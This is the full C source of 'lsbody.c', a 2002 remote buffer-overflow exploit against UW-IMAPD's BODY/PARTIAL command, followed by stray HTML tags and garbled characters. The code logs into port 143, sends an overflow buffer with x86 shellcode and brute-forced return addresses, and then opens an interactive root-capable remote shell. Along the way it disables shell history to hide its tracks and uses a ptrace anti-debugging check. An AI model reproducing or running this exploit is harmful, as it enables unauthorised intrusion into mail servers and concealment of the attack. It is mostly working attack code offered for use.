/***************** * lsbody.c - BODY overflow exploit (linux/x86) * * Vulnerability was founded by Marcell Fodor (mantra.freeweb.hu) * * THIS IS PUBLISHED PROPRIETARY SOURCE CODE OF BUFFEROVERFLOW CREW * * Copyright (C) bufferoverflow.org(com.br), 2002 * All Rights Reserved * by skylazart *****************/ static char version[] = "$Id: lsbody.c,v 1.1.1.1 2002/10/22 05:11:34 sky Exp $"; /* * see http://www.bufferoverflow.org for more stuffs */ /* * Exploit comments: * if you get an error like "** BAD Bogus sequence in PARTIAL", try to * send mail to the target user, or, use -m /etc/passwd :) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAXLINE 16384 #define col 55 long int RET_ADDR = 0xbfffff99; int steps = -512; char *mailbox = NULL; /* rx_sc by skylazart. escape from imapd ascii filters and PARTIAL command sintax */ char rx_sc[] = /*
*/ "\xeb\x31" /* */ "\x5e\x80\x06\xe0\x80\x46\x05\xe0\x89\xf1\x31" "\xdb\x31\xd2\xb0\x04\xb2\x06\xcd\x80\x31\xc0" "\x31\xdb\xb0\x94\xcd\x80\x31\xc0\x31\xd2\xb2" "\xfa\x8d\x8c\x24\x06\xff\xff\xff\x31\xdb\xb0" "\x03\xcd\x80\xff\xe1" /* */ "\xe8\xca\xff\xff\xff\x2a\x4e\x41\x54\x49\x2a"; char old[] = /*
*/ "\xeb\x2e" /* */ "\x5e\x80\x46\x04\xe0\x89\xf1\x31\xdb\x31\xd2" "\xb0\x04\xb2\x05\xcd\x80\x31\xc0\x31\xdb\xb0" "\x94\xcd\x80\x31\xc0\x31\xd2\xb2\xfa\x8d\x8c" "\x24\x06\xff\xff\xff\x31\xdb\xb0\x03\xcd\x80" "\xff\xe1" /* */ "\xe8\xcd\xff\xff\xff\x4e\x41\x54\x49\x2a"; char execve_sc[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; static int PRINT (const char *fmt, ...) { va_list ap; va_start (ap, fmt); return (vfprintf (stderr, fmt, ap)); /* stderr isnt bufferd */ } static void ELEET (char *b, int n) { if (n > col) { fprintf (stderr, "\n"); n = 0; } while (n < col) { fprintf (stderr, " "); n++; } fprintf (stderr, "%s", b); } void hlp (const char *name) { printf ("%s -h server -u username -p password [-m ]\n\n", name); exit (EXIT_SUCCESS); } void err_sys (const char *name, int error) { fprintf (stderr, "%s : %s\n", name, strerror (error)); exit (EXIT_FAILURE); } void err_quit (const char *msg) { fprintf (stderr, "%s. exiting...\n", msg); exit (EXIT_FAILURE); } void handle_signal (int sig) { printf ("sorry\n"); exit (EXIT_FAILURE); } int hasdata (int fd, int timeout) { struct timeval tv; fd_set rset; tv.tv_usec = 0; tv.tv_sec = timeout; FD_ZERO (&rset); FD_SET (fd, &rset); return (select (fd + 1, &rset, NULL, NULL, &tv)); } size_t my_write (int sockfd, const void *buffer, size_t n) { size_t nleft; size_t nwritten; const char *ptr; ptr = buffer; nleft = n; while ( nleft > 0 ) { again: if (( nwritten = write (sockfd, ptr, nleft)) < 0) { if ( errno == EINTR ) goto again; else return (-1); } nleft -= nwritten; ptr += nwritten; } return (n); } static size_t my_read (int sockfd, char *ptr, int timeout) { static int read_cnt = 0; static char *read_ptr; static char read_buf[MAXLINE]; if ( read_cnt <= 0 ) { again: if ( hasdata (sockfd, timeout) <= 0 ) return (0); if ((read_cnt = read (sockfd, read_buf, sizeof (read_buf)))<0) { if ( errno == EINTR ) goto again; return (-1); } else if ( read_cnt == 0 ) return (0); read_buf[read_cnt] = '\0'; read_ptr = read_buf; } read_cnt--; *ptr = *read_ptr++; return (1); } size_t ReadLine (int sockfd, void *buffer, size_t maxlen, int timeout) { int n, rc; char c, *ptr; ptr = buffer; for (n = 1; n < maxlen; n++) { if ( (rc = my_read (sockfd, &c, timeout) ) == 1 ) { *ptr++ = c; if ( c == '\n' ) break; } else if ( rc == 0 ) { if ( n == 1 ) return (0); else break; } else return (-1); } *ptr = '\0'; return (n); } int con (char *hostname, int port, int timeout) { struct hostent *he; struct sockaddr_in sin; struct timeval tv; unsigned long i; int sockfd; socklen_t len = sizeof (int); int sc_fg; int n; fd_set wset, rset; int opt = 1024; /* MAXCAPLEN */ int one = 1; int error = 0; i = inet_addr (hostname); if (i == -1) { he = gethostbyname (hostname); if (he == NULL) { err_sys ("gethostbyname()", h_errno); exit (EXIT_FAILURE); } else i = *(unsigned long *) he->h_addr; } sockfd = socket (AF_INET, SOCK_STREAM, 0); if (sockfd < 0) err_sys ("socket ()", errno); sin.sin_family = PF_INET; sin.sin_port = htons (port); sin.sin_addr.s_addr = i; bzero (&(sin.sin_zero), 8); setsockopt (sockfd, SOL_SOCKET, SO_RCVBUF, (char *) &opt, sizeof (int)); ioctl (sockfd, FIONBIO, &one); sc_fg = fcntl (sockfd, F_GETFL, 0); fcntl (sockfd, F_SETFL, O_NONBLOCK | O_NDELAY); n = connect (sockfd, (struct sockaddr *) &sin, sizeof (sin)); if (n == 0) { /* connected */ n = 0; ioctl (sockfd, FIONBIO, &n); fcntl (sockfd, F_SETFL, sc_fg); return (sockfd); } if (errno != EINPROGRESS) { close (sockfd); err_sys ("connect ()", errno); } FD_ZERO (&wset); FD_ZERO (&rset); FD_SET (sockfd, &wset); FD_SET (sockfd, &rset); tv.tv_usec = 0; tv.tv_sec = timeout; n = select (sockfd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close (sockfd); errno = ETIMEDOUT; err_sys ("connect ()", errno); } if (FD_ISSET (sockfd, &rset) || FD_ISSET (sockfd, &wset)) { /* data available */ if (getsockopt (sockfd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { close (sockfd); err_sys ("getsockopt ()", errno); } if (error == 0) { n = 0; ioctl (sockfd, FIONBIO, &n); fcntl (sockfd, F_SETFL, sc_fg); return (sockfd); } else { close (sockfd); errno = ECONNREFUSED; err_sys ("connect ()", errno); } } return (sockfd); } int imapdlogging (int sockfd, char *u, char *p) { char buffer[1024]; int n; snprintf (buffer, sizeof (buffer), "** LOGIN %s %s\r\n", u, p); my_write (sockfd, buffer, strlen (buffer)); memset (buffer, 0, sizeof (buffer)); do { n = ReadLine (sockfd, buffer, sizeof (buffer), 20); if (n <= 0) err_quit ("Connection terminated"); buffer[n] = '\0'; } while (strncmp (buffer, "** ", 3) != 0); if (strstr (buffer, "OK")) return (1); return (0); } int verify_xpl (unsigned char *h, unsigned char *u, unsigned char *p) { int sockfd, n, vuln = 0, bytes; char buffer[3072]; char evil[4096]; printf ("## CHECKING IF THE TARGET IS EXPLOITABLE ##\n\n"); PRINT ("++ trying to connect %s@PASSWORD:%s.143... %n", u, h, &bytes); sockfd = con (h, 143, 40); ELEET ("; connected\n", bytes); PRINT ("++ trying to logging... %n", &bytes); if (!imapdlogging (sockfd, u, p)) { close (sockfd); ELEET ("; failed\n", bytes); exit (EXIT_FAILURE); } ELEET ("; success\n", bytes); PRINT ("++ checking vulnerability... %n", &bytes); my_write (sockfd, "** CAPABILITY\r\n", 15); do { n = ReadLine (sockfd, buffer, sizeof (buffer), 20); if (n <= 0) err_quit ("Connection terminated"); buffer[n] = '\0'; if (strstr (buffer, " IMAP4 ")) vuln = 1; } while (strncmp (buffer, "** ", 3) != 0); if (!vuln) { close (sockfd); ELEET ("isn't vulnerable\n", bytes); exit (EXIT_FAILURE); } ELEET ("; vulnerable\n", bytes); PRINT ("++ trying to crash the daemon... %n", &bytes); snprintf (buffer, sizeof (buffer), "** SELECT %s\r\n", mailbox); my_write (sockfd, buffer, strlen (buffer)); memset (buffer, 0, sizeof (buffer)); do { n = ReadLine (sockfd, buffer, sizeof (buffer), 20); if (n <= 0) err_quit ("connection closed"); buffer[n] = '\0'; } while (strncmp (buffer, "** ", 3) != 0); if (!strstr (buffer, "** OK")) { close (sockfd); err_quit ("Error trying to use SELECT Inbox"); } memset (buffer, 0x41, sizeof (buffer)); buffer[sizeof (buffer) - 1] = '\0'; sprintf (evil, "** PARTIAL 1 BODY[%s] 1 1\r\n", buffer); my_write (sockfd, evil, strlen (evil)); n = ReadLine (sockfd, buffer, sizeof (buffer), 20); if (n > 0) { close (sockfd); buffer[n] = '\0'; printf ("failed trying to crash.\nserver returns: %s\n", buffer); printf ("maybe, it's a problem with mailbox. try -m /etc/passwd\n"); err_quit ("failed"); } ELEET ("; CRASHED!!\n", bytes); close (sockfd); return (1); } int get_shell (int sockfd) { fd_set rfds; int n = 0; char buffer[2048]; /* send real shellcode and wait for answer */ printf ("++ sending execve shellcode with %d bytes length... ", strlen (execve_sc)); fflush (stdout); my_write (sockfd, execve_sc, strlen (execve_sc)); my_write (sockfd, "\n", 1); printf ("sent!\n"); printf ("############# gota shell # # #\n\n"); my_write (sockfd, "unset HISTFILE;uname -a;id;\n", 29); my_write (sockfd, "exec /bin/bash -i\n", 18); FD_ZERO (&rfds); while (1) { FD_SET (0, &rfds); FD_SET (sockfd, &rfds); n = select (sockfd + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (sockfd, &rfds)) { n = read (sockfd, buffer, sizeof (buffer)); if (n <= 0) break; buffer[n] = '\0'; write (1, buffer, n); } if (FD_ISSET (0, &rfds)) { n = read (0, buffer, sizeof (buffer)); if (n <= 0) break; buffer[n] = '\0'; write (sockfd, buffer, n); } } printf ("Connection Terminated.\n"); close (sockfd); exit (0); } void xpl (unsigned char *h, unsigned char *u, unsigned char *p, long int ret_addr) { int sockfd, n; char buffer[4096]; char evil[1054], *ptr; static char leet[8] = "\0"; strcat (leet, ">"); printf ("\rExploiting [%-8s] 0x%08lx ", leet, ret_addr); fflush (stdout); if (leet[7] == '>') memset (leet, 0x0, sizeof (leet)); sockfd = con (h, 143, 40); snprintf (buffer, sizeof (buffer), "** LOGIN %s %s\r\n", u, p); my_write (sockfd, buffer, strlen (buffer)); snprintf (buffer, sizeof (buffer), "*** SELECT %s\r\n", mailbox); my_write (sockfd, buffer, strlen (buffer)); memset (buffer, 0, sizeof (buffer)); /* do { n = ReadLine (sockfd, buffer, sizeof (buffer), 10); if (n <= 0) err_quit ("connection closed"); buffer[n] = '\0'; } while (strncmp (buffer, "*** ", 4) != 0); */ memset (evil, 0x90, sizeof (evil)); ptr = &evil[1024] - strlen (rx_sc); memcpy (ptr, rx_sc, strlen (rx_sc)); ptr = &evil[1024]; for (; ptr < &evil[sizeof (evil) -1]; ptr += 4) *(long int *) ptr = ret_addr; ptr = &evil[sizeof (evil) - 1]; *ptr = '\0'; sprintf (buffer, "** PARTIAL 1 BODY[%s] 1 1\r\n", evil); my_write (sockfd, buffer, strlen (buffer)); my_write (sockfd, "*** LOGOUT\r\n", 12); /* do { n = ReadLine (sockfd, buffer, sizeof (buffer), 10); if (n <= 0) err_quit ("connection closed"); buffer[n] = '\0'; } while (strncmp (buffer, "*** ", 4) != 0); */ while ((n = ReadLine (sockfd, buffer, sizeof (buffer), 20))) { buffer[n] = '\0'; #ifdef DEBUG printf ("%s\n", buffer); #endif if (strstr (buffer, "NATI") && !strstr (buffer, "NATI*")) { printf ("!! SUCCESS !!\r"); printf ("\r\n\n## \"NATI\" FOUND! ##\n\n"); get_shell (sockfd); exit (0); } } close (sockfd); printf ("FAILED"); xpl (h, u, p, ret_addr + steps); exit (0); } int main (int argc, char **argv) { char *hostname, *username, *password; int opt; hostname = username = password = NULL; printf ("\033[2J\033[1;1Hlsbody - UW-IMAPD version 12.261, " "12.264, 2000.283, 2000.284, 2000.287 and 2001.315" " compiled with RFC 1730 support. Others?!\n" "%s\n" "by skylazart/bufferoverflow.org\n\n", version); while ((opt = getopt (argc, argv, "u:p:h:m:")) != -1) { switch (opt) { case 'h': hostname = optarg; break; case 'u': username = optarg; break; case 'p': password = optarg; break; case 'm': mailbox = strdup (optarg); break; default: hlp (argv[0]); break; } } if (!hostname || !username || !password) hlp (argv[0]); if (!mailbox) mailbox = strdup ("Inbox"); signal (SIGUSR1, handle_signal); signal (SIGTRAP, handle_signal); if (ptrace (PTRACE_TRACEME, 0, 1, 0) < 0) { printf ("Sorry, debug isn't allowed\n"); exit (0); } if (verify_xpl (hostname, username, password)) { printf ("\n### EXPLOITING ###\n\n"); xpl (hostname, username, password, RET_ADDR); } return (0); }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß